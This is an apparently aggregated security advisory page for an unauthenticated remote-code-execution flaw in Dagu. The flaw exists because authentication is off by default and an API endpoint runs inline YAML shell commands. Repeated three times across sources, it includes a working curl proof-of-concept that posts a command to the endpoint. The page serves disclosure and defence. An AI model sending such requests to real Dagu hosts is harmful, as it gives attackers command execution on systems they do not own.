GHSA-6qr9-g2xw-cw92
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
GHSA-6qr9-g2xw-cw92 is a critical vulnerability (CVSS 9.8) in github.com/dagu-org/dagu, published February 19, 2026. No source lists public exploit code. No source names a fixed version.
- Severity
- 9.8 CriticalCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
- No fix listedNo source names one
Description
Summary
Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.
Details
internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.
The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.
PoC
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
-H "Content-Type: application/json" \
-d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)
Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.
Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/dagu-org/daguGo | through 1.30.3 | None known |
github.com/dagu-org/daguGo | All versions | None known |
What each source reports
GitHub Advisories Score used
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
Summary
Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.
Details
internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.
The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.
PoC
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
-H "Content-Type: application/json" \
-d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)
Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.
Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.
- Record
GHSA-6qr9-g2xw-cw92- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-306
- Updated
- 2026-11-02
OSV
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
Summary
Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.
Details
internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.
The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.
PoC
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
-H "Content-Type: application/json" \
-d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)
Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.
Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.
- Record
GHSA-6qr9-g2xw-cw92- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVGO-2026-4527No score
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration in github.com/dagu-org/dagu
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration in github.com/dagu-org/dagu
- Record
GO-2026-4527- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.